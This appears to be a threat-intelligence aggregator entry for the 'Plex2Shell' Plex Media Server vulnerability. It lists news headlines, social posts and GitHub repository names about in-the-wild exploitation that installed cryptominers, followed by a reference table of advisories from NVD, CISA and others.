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social bsky.app @threadlinqs.bsky.social 2026-10-19 04:38 UTCPlex2Shell turns exposed media servers into miners - unauth RCE chain exploited right after the PoC dropped. https://intel.threadlinqs.com/threat/TL-2026-3858 #ThreatIntel #CVE_2026_96652 #CVE_2026_96654 #xmrigOpen source
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social bsky.app @cordcuttersnews.com.web.brid.gy 2026-10-18 19:38 UTCOpen source
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news cordcuttersnews.com 2026-10-18 19:38 UTCPlex Media Server Owners Urged to Update Immediately After In-the-Wild Exploitation of Older Installations Turns Your Computer Into a Zombie - | Cord Cutters NewsOpen source
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code github.com a3igner 2026-10-18 10:11 UTCa3igner/plex-codec-cache-implantOpen source
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code github.com code-zm 2026-10-18 05:00 UTCcode-zm/plex2shellOpen source
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news cybersecuritynews.com 2026-10-17 07:00 UTCHackers Exploiting Plex Vulnerabilities in the Wild to Deploy Cryptominer Malware - CyberSecurityNewsOpen source
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code github.com gmh5225 2026-10-17 01:44 UTCgmh5225/plex2shellOpen source
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social bsky.app @cyberhub.blog 2026-09-30 08:07 UTC📌 CVE-2026-96656 - Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options... https://www.cyberhub.blog/cves/CVE-2026-96656Open source
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-96656 |
| forums.plex.tv |
GitHub CVE
release-notes
|
https://forums.plex.tv/t/plex-media-server/30447/711 |
| cve.org |
GitHub CVE
vdb-entry
|
https://www.cve.org/CVERecord?id=CVE-2026-96656 |
| raw.githubusercontent.com |
GitHub CVE
third-party-advisory
|
https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json |
| zmain.info |
GitHub CVE
third-party-advisory
|
https://zmain.info/blog/plex2shell |
| boredhackerblog.info |
NVD API
Third Party Advisory
|
https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96656 |